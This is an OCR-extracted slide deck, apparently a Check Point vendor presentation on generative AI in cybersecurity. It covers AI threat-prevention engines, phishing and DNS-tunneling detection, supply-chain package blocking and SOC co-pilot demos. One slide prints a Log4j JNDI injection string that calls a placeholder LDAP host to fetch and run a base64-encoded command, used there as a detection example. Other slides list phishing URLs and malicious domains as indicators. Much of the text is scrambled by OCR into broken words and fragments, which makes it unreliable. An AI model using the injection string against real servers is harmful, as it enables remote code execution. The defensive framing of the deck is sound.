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Lots of progress across all Al frameworks, GenAl is at the front
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The human element of Generative-Al (GenAl)

As human beings:

- Flood of GenAl outputs and ideas

- Inaccurate information goes deep (looks real) and wide (all over the place)
- Deliberate fake and manipulative information

- Modernizations of jobs — redefine your profession as ‘me plus my co-pilot’

€he New Aork Times

GPT-4 Is Exciting and Scary

Today, the new language model from OpenAl may not seem all How hackers use ChatGPT to
that dangerous. But the worst risks are the ones we cannot code Ransomware attack?
anticipate' 00 ?ﬁh:(tfﬁ?::foftware Technologies, Ltd. w
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Where Al and Cyber meet

HACKER TEAM Attacks Security &
Prevention

Automation

ANALYSIS

INCIDENT MANAGEMENT
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On the CISO’s agenda

What we hear from you

Securing the Digital Transformation

A

- The impact of Generative-Al
- Zero-trust across network and cloud

- Consolidation of security solutions and ROI
of their investment

- Prevent company extortion ”
|
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GenAl serves the attackers
GenAl Is good for SOC tasks

Effective security prevention requires
Al Deep Learning



Al STRATEGY
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Al Strategy Pillars

Pillar 1 — Shaping the “nextnormal” of human experience

 Natural language human-machine Interfaces
» GenAl for extreme automation of usability and productivity

— Pillar 2 — Unparalleled Threat Prevention

 Al-powered Security and Threat Prevention to find anomalies
» Unprecedented scale, speed and efficiency

— Pillar 3 — Security of Al technology

« Secure vulnerabilities in the Al Technology
* Attackers will use Al

Pillar 4 — Scaling Al acrossthe organization

* Data first mind-set
« Automate, scale and re-use across the org
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5 Principles for a Winning Al Engine (at check point)

#1 #2 #3
Addresses Utilizes Easy
a Significant Cutting-Edge to
Problem Technology Explain
#4 #5
Enables Includes a
Fast | 2-Year

Integration Warranty
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UNPARALLELED
THREAT PREVENTION
POWERED BY Al



ThreatCloud: Al brain behind Check Point Security

Al technology
40+ Al and Machine Learning technologies
that identify and block emerging threats that

were never seen before
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ACCURATE PREVENTION

(MALICIOUS/SAFE)

N
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S’EQ THREATCIUD

Telemetry
o

Big data threat intelligence
Always acquires the mostrecent IN THE
loCs and protections of latest
attacks seenin the wild

99.7%

Security effectiveness

BEST RESULT

INDUSTRY*

Telemetry

D B -
e Quantum ﬁ CloudGuard

ThreatCloud APIs Secure the Network Secure the Cloud

K Horizon

\( )

Harmony ¥
Secure Users & Access

/

Unified Management &

c:CHECK BOINT Security Operations
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Al-based technologies leveraged by ThreatCloud
40+ engines across different security functionality

Infected hosts detection

Sandbox static analysis executables
Sandbox static analysis documents
Sandbox static analysis macros
Sandbox dynamic analysis

Email static analysis

Netw ork zero-phishing detection
Mobile zero-phishing detection
Anti-Phishing Al engine

HTML body NLP

DNS Tunneling
DNS Slow tunneling
DGA Domain Generation Algorithm

Netw ork Alengines aggregator
Mobile Al engines aggregator
Machine validated signature

Cloud netw orks anomaly detection
XDR/XPR user behavior analysis
SSH tunneling

ThreatCloud Campaign Hunting I

Analyst Mind
Malicious activity detection

Documents meta classifier Vectorization family classifier
XDR/XPR incidents aggregation

ML Similarity Model

MRAT Classifier

IP Port
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(" )
- Deep Learning Engine replacing

AI teChnOIOgy eVOIUtIOn . fnipr)?ic;\?g:génr?ed Al classification

+47% Detections

From Classic Machine Learning to Deep Learning L )

DNS llllllllll DNS
Tunneling | Tunneling Il

DNS Security

Webpages I

Phishing . Deep Learning Engine replacing
URLs | T traditiona' Machine Learning ............................................... URLs Il
- Improvement:

+30% Detections

-------------- e |-

Documents ............................................................................................ 'S Documents Il
Decision Decision
engine | engine I

Decision S N Decision
engine | engine I
Files
Executables I ................................................................................................. Executables "

] 2018 2019 2020 2021 2022 2023 »
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Local brand spoofing — Banking apps and websites

online-bankaustria-at-eser

Désactiver le clavier virtuel

Identifiant utilisateur *

(]
a8

Identifiant entreprise; Identifiant utilisateur

Mot de passe *
[ ]
5%

@0 verrouiage des mauscules

Mot de passe cublié

Mot de passe cublé

Visite U-social pour banque social
Cai: kNow
Nordea Netbank Acceso seguro a CaixaBankNow
Select method
- @
Code
aaaaaaa or v tecats con ‘e @)

© Lo denier STV [ s —|

Cancel Need help?

erf-iepnz.formstack.com/forms/caixa

vices2023psdi754465.codeanyapp.com

74 Bank Austria (V) it
PRIVATKUNDEN ARMENKUNDEN UBER UI

s+ fa UniiCredit

24You

Warnung: Derzeit versenden Betriger Phishing-Mails bei denen Ihnen eine Login-Aufforderung der Bank Austria
vorgegaukelt wird.
Folgen Sie keinen Login-Links, die Sie per E-Mail oder per SMS erhaltenl Bitte lesen Sie vor der Eingabe einer TAN
den Text der gesamten TAN-Nachricht sorgfaltig!

Sie befirchten, Opfer dieses Betruges zu sein? Rufen Sie zu Ihrer eigenen Sicherheit umgehend das Bank
Austria Sicherheitscenter unter der Rufnummer 050505 26105 an.

ACCEDER A LESPACE DEDIE
DE VOTRE CAISSE REGIONALE

Tiouver ure caisse régionale en sasissant voue département

serviceappnetnordea.xyz/serv/netbank/nordea/Login/ creditagricole-otp.172-232-56-179.plesk.page/44394
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Blocking never-seen-before Phishing

Attacks

Al-based analysis of 300 phishing v
indicators in email & web ™
I .
NLP
:
K cooukeFacon ]
#1 GATEWAY WEB INSPECTION _OORALIKE FAVICON

v

#3 BROWSER INSPECTION ~ #2 CHECK POINT'S o

(BY INJECTED CODE) INJECTION +300 indicators
GET . GET -
Lot RESPONSE RESPONSE

H
3
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7
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A

tn ; o 1
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Email or Phane
password Show
L 3
signin

Quantum
Secure the Network
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PHISHING SITE
Linkedlnscam.com

Linked [

Welcome Back
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The most comprehensive Zero-Day Phishing solution

Brands

URLS

Reputation

Domain

Cutting edge
/ deep analysis

Local brand - 8 Newly registered
Deep URL analysis IP reputation domain &
Brand phishing Known malicious 8 Real estate
. . s Registrant . Protections
Lookalike favicon Path similarity reputation Suspicious Regex engine
Title brand Compromised Domain Registered
similarity website reputation anonymously HTML model
Copyright brand - ThreatCloud Domain Static web
similarity b e graph classification emulation
Website . : :
. . URL pobpularit Domain Dynamic web
Source code .
similarity Special TLD
Al Based
‘.’ “’ ‘., ‘.’ s Deep Learning
Harmony ~ Harmony  Harmony  Harmony Quantum
Q;CHECK POINT Connect Endpoint Mobile Email
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Prevents 5X more sophisticated DNS attacks

Block C&C communications and Data theft with Deep Learning engines

Client Machine

([ ]
& cHeck POINT

Deep Learning Neural network

/

Mdden Layer 1 Madden Layer 2 Maddon Layer 3
Input Layer

THREATCLOUD

O A i e

DNS
TRAFFIC ANALYSIS

VERDICT
Quantum
Secure the Network

Command & Control

Server

#1 DGA (Domain Generation Algorithm)

liybelac.bazar

izryudew.ba="-

biymudge.ba liybelac.bazar

fuicibem.ba izryudew.baza~

biykonem.ba biymudqe.baza liybelac.bazar

aqtielew.ba fuicibem.baza izryudew.baze~
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aguponew.ba exyxtoca.baza aqtielew.baz: Fgl{lbem‘haza
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exybonyw.ba aguponew.baza exyxtoca.bazi aqtielew.bazs

etymonac.ba exogelqe.baza 1qf150ew‘gazv yptagnem.:aze
.— exybonyw.baza aguponew.baz:. exyxtoca.bazz

etimongc‘bam exogelge.bazi iqfisoew.baza

liybelac.bazar
izryudew.bazar
biymudge.bazar
fuicibem.bazar
biykonem.bazar
aqtielew.bazar
yptaonem.bazar
exyxtoca.bazar

— exybonyw.baz: aguponew.baza S*¥X
o
etymonac.bazi exogelqe.baza igqfisoew.bazar
agupunehnbazar

—— exybonyw.baza e e Ty

etymonac;bazg exybonyw.bazar

“ etymonac.bazar

#2 DNS Tunneling

6a57jk2ba1d9kegl5cbg.appisync-api.eu-west-1.avsvmcloud.com
7sbvaemscsOmc925th99.agpsync-api.us-west-2.avsvmcloud.com
g0q1h856599ggh538acqn.afpsync-api.us-west-2.avsvmcloud.com
ihvpgv9psvg02ffo77et.appfync-api.us-east-2.avsvmcloud.com
k5kcubuassl3alrf7gm3.appfync-api.e u-west-1.avsvmcloud.com
mhdosoksaccf9sniQicp.apppync-api.eu-west-1.avsvmcloud.com

f5534496-1a85-4844-8bc0-e9edc537ea40.servd r-2 6ldeeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ead0.serve r-34ideeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ead0.server-5.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ead0.servgr-98ldeeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ead0.servd r-73ldeeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ead0.serve r-8 2ideeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ead0.servgr-15|deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ead0.serve r-591deeponlines.com
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How AppSec uniquely preempts exploitation of Apache
server zero-day vulnerabilities

« Initial payload analysis » Low reputation (single suspicious request)
» Base64 decoding (avoid evasions) « Application awareness — uncommon content
» Collection of telemetry/statistics  Indicator scoring — multiple indicators of attack

${indi:ldap://<SITE>/Basic/Command/Base64/
Y3WhCBodHRwWOI8VMTAUMT
QyLjAUMjMBOTK5IC1KIEBjcm VkaXQ=}

Suspicious requests:
3%-5% of all incoming requests

....... T AI-BASED
o SCORING
log4j attack Indicators:
¥
INITIAL - baseb64 High risk
ANALYSIS - java_1
- medium_acuracy
regex_code_execution_ 1
ssti_fast_reg 4 BLOCK
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Preventing malicious Code Packages
At the earliest stage possible of the CI/CD pipeline

-
& cHECK POINT
prevention

Step 1

Step 2
User wants to use

a new code
package from a
known repository

Commit to ClI
pipeline

Download

locally

Actual preventions by Check Point:
o

bloxflip 0.0.0
ip install bloxfli

Known vulnerable packages:

AX1LOS|

44 IR

python drgn 1.1.99

PP

ouwer 1.0.0

11 ouwer

([ ]
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-~
& cHECK POINT
+ Other vendors

Step 3 Step 4

Testing
(including
security)

Deploy to
staging and
production

Visibility on code packages traffic:

& 2,087 % 4 802 3.

W 2,231 =%
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GEN-AI AND CYBER
SECURITY

[Internal Use]for Check Point employees ©2023 Check Point Software TechnologieslLtd. 20



ChatGPT - Risks

- ChatGPT usage has cyber security Implications.

- Employees are eager to take advantage of Generative Al

- Risks:
* Leakage of sensitive data
* Leakage of code
* Supply chain attack (code poisoning)
» Leakage via 3" party SaaS plugins (Al-based)

- Opportunities:
- Data-Leakage solutions, Hashing PIlI data
* Prompt inspection with Al
» Local LLM — privacy, security, costs

[ J
g CHECK POINT ©2023 Check Point Software TechnologieslLtd. 21



Security Operations will be Augmented & Automated

Generative Al can assist in automating security operations daily tasks

Threat Intelligence:

* Analyze news - identify emerging threats and patterns

Incident Response:

Categorize, prioritize, and analyze security incidents
Automated workflows & incident response

Security Policy:

Ensuring policies enforced consistently across the organization

Alert policy violations

Recommend remediation & actions

Create zero-trust networks

Resolve tickets

Assist projects

Optimize resources - activate security blades on demand

([ ]
& cHeck POINT

> “Why many users complainaboutZoom connectivity?”
> “Am | impacted by CVE-2023-48527”
> “Pleasesolveticket SR84215”
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Enterprises will isolate their Data in walled gardens

- Data will become an intellectual-property

- Enterprises will harness data-first strategy

- Companies will isolate their data

- Enterprises will accumulate huge amounts of raw data

- Un-reasonable to upload to cloud (amounts, privacy,
regulations)

- More local processing Al power — at the Edge

Opportunities:
- GPUs (LLMs) @ Edge
- Personalized adaptive security, Whitening traffic

[ ]
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New types of attacks will emerge

Al models becoming a target

Adversaries re-engineer how Al trained & operates

Guess weaknesses by the input and results

Poison the data trained, mis-information, unbalanced data

Offensive Cyber, DeepFake (voice, video, chat, e-mail)

Opportunities:
« Polymorphic protections with GenAl — gain resiliency
Al ‘Shield’

[ J
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Machine-to-machine interactions (Auto-GPT)

Generative-Al will replace back-office tasks

Human roles will be automated

Future will be machine-to-machine (Al-to-Al) interactions

« E.g. call center: customer support request will trigger actions in multiple systems

Al will code, build and deploy fixes
Al will instantiate infrastructure..

Attackers can fool systems to orchestrate devastating attacks
.. harmless workloads could freak out

Opportunities:
- Prompt security — input & output..
- ldentify intent

[ ]
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Data Becomes a Strategy

« Data mindset

« Data-first mind-set = competitive edge

* Reinforcement Learning Human Feedback (RLHF) - E
’lmm&’ 1;“7:
- Al mindset in products operations = ,w i el

- Code gen-eration ! \\3\“\,\\\

Code testing

Protections generation

Performance optimization

Al @ edge (GPUs at firewalls, endpoints) - privacy, security, Costs

[ ]
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Al projects — 2024 motion

Project1: XPR Incident Summary

- Provide textual summarization, specificinsights, chat interface to ask follow-up questions and remediation suggestions for XPR incident

Project2: Smartl Admin Management Co-pilot

« Al-powered "Admin Co-pilot" to automate policy change requests. For example — a ticket request to allow a new finance member to access Salesforce will be
resolved with GenAl access rules into existing policy

Project 3: Generative Security Policy (based on seen activity)

- Automatically generate a hardened policy for servers based on logs from XPR. Will allow the prevention of zero-day attacks such as Log4j, Proxyshell
(Exchange) & MOVEit

Project4: AFW — zero-trust network (segmentation)

« Automatic firewall policy generation based on network traffic, creating network segmentation with access rules

Project5: GenAlfor IPS
- Automatically generate IPS protections that are able to cover new attacks quickly based on few traffic samples

[ J
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Project 1 demo

([ ]
& cHeck POINT

0o\ CHECK POINT
HORIZON XDR/XPR

Q cp-all-demo

& (ID 631) Possible medium severity threat Medium

<
Cverviaw INCIDENT SUMMARY
sk Attack tree
Affected assets 1 Co 1l Low
Indicators & Artifacts 24 Medium Severit Medium
MITRE
Insights & Forensics 24

Sep7,2023 17:33

Check Point SOC Assistant

Hello! How can | help you
today?

60

40

20

MITRE

() desktop-xdr

Aug 8, 2023

Aug 08

24 INDICAT

801e8003c257¢8f5

801e8003c257¢8f5..

801e8003c257¢8f5

801e8003c257¢8f5...

801e8003c257¢8f5

801e8003c257¢8f5.

17:32 - Aug 8, 2023

801e8003c257¢8f5.

801e8003c257¢8f5.

801e8003c257¢8f5

801e8003c257¢8f5.

801e8003c257c8f5.

17:32 0 hr 0 mins

PREVENTION

& 1indicator enabled in the I0C management
[P 1 indicator enabled in the I0C management
g2

¥ 1indicator enabled in the I0C management
¥ 1indicator enabled in the IOC management
[r . 1

¥ 1indicator enabled in the I0C management

SUMMARY

On July 23rd, at 13:13:54, the host ILPO-VDIRNDO0112 sent an unusually high amount of
108.638 MB to the IP address 108.142.155.56 using port 3389. The usual amount of data
sent by this user is 56.248 MB, which raises concerns about potential data exfiltration.
The user responsible for this activity was naorr and the process used was mstsc.exe. This
abnormal use of port 3389 may indicate potential malicious activity, such as the spread
of malware or the exfiltration of data. The Mitre techniques used to detect this activity
are TA0010 and T1048. TA0010 is Exfiltration, which is the unauthorized transfer of data
from a computer. T1048 is Exfiltration Over Alternative Protocol, which is when
adversaries steal data by exfiltrating it over a different protocol than that of the existing
command and control channel. This could include FTP, SMTP, HTTP/S, DNS, SMB, or any

other network protocol not being used as the main command and control channel. The

©2023 Check Point Software Technologies Ltd.
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roject 2 demo

@ portal.checkpoint.com/dashboard/smart-1cloud#/policy

;' QUANTUM SMART-1 CLOUD

@ Install P

S

«

tandard x

~ Access Control
g Policy
6 NAT

~ Threat Prevention

{Ag Custom Policy

~ 0% Autonomous Policy

{¥3 Policy

B File Protections

¥ Settings

i@ Exceptions

A~ HTTPS Inspection

g Policy

Access Tools
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#: VPN Communities

2 Workspace MT2

Cleanup rule

Summary Logs

@f) Drop Rule 1

Cleanup rule

Comment:

Source

Created by: System o Additional Rule Info:
Date created 17-Nov-22 03:43 Ticket Number:
Expiration time:  Never Ticket Requester

Hit Count: 0 (0%, Zero)

% Policy Tar...

® CHECK POINT
Aa Albert Khavinson @ 32 @ inFiNiTy PORTAL

¥ New... ~

Object Categories

Network Objects
Services
Applications/Categories
VPN Communities
Date Types
Users/Identities
Servers

Time Objects
UserCheck Interactions

Limit
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Challenges in adopting Al for prevention

Al is as good as your data

Balance between data collection and privacy
Skill shortage

Easy to claim, hard to prove

Contextual understanding of what is ‘good’ and what is ‘bad’ (values based)

[ J
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WHAT WILL BE THERE'S LIKE HOW OR [FIT WILL

THE IMPACT OF A LOT WE MUCH OFf TAKE AWAY
CHATGPT ON DON’T KNOW ([ WHAT IT SAYS OUR JOBS...
OUR BUSINESS? FOR SURE ... IS MADPE UP...
/ \ oy \ \
\ L)\ ) | =4
OR THE OR IFIT COULD || WHAT PO  ONLY THAT weE
SECURITY PAMAGE OUR || WE KNOW  WANT TO ADOPT IT
RISKS... REPUTATION... || FOR SURE® EVERYWHERE AS
\ FAST AS WE CAN.
\ ﬁ kul \ Lr\r\‘
A j? i 7 om
—<Y AL L

® marketoonist.com
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Al-driven Threat Prevention stops all cyber attacks

. - &
3CX @B o ppenecy, OB EXChange  Kaseya  LOGH

iti . . ivi Credential Commandand
Resource Initial Execution Persistence Privilege Defense Lateral

: . Discover
Development Access Escalation Evasion Access y Movement Control

Collection
Entry points: Gaining persistence: Lateral movement: Data leak:

©2023 Check Point Software TechnologiesLtd. 32

Reconnaissance

Social « Zero-trust access & strong policies
engineering
Al-based prevention for malware, docs, phishing

Blocking C&C communication
Supply chain

Cloud posture management & workload
protection

SW and Protocols Server hardening
Vulnerabilities

Shift-left source code & developers

Cloud Native XDR — network, endpoints, servers, cloud,
misconfigurations mobile, email, AD, more
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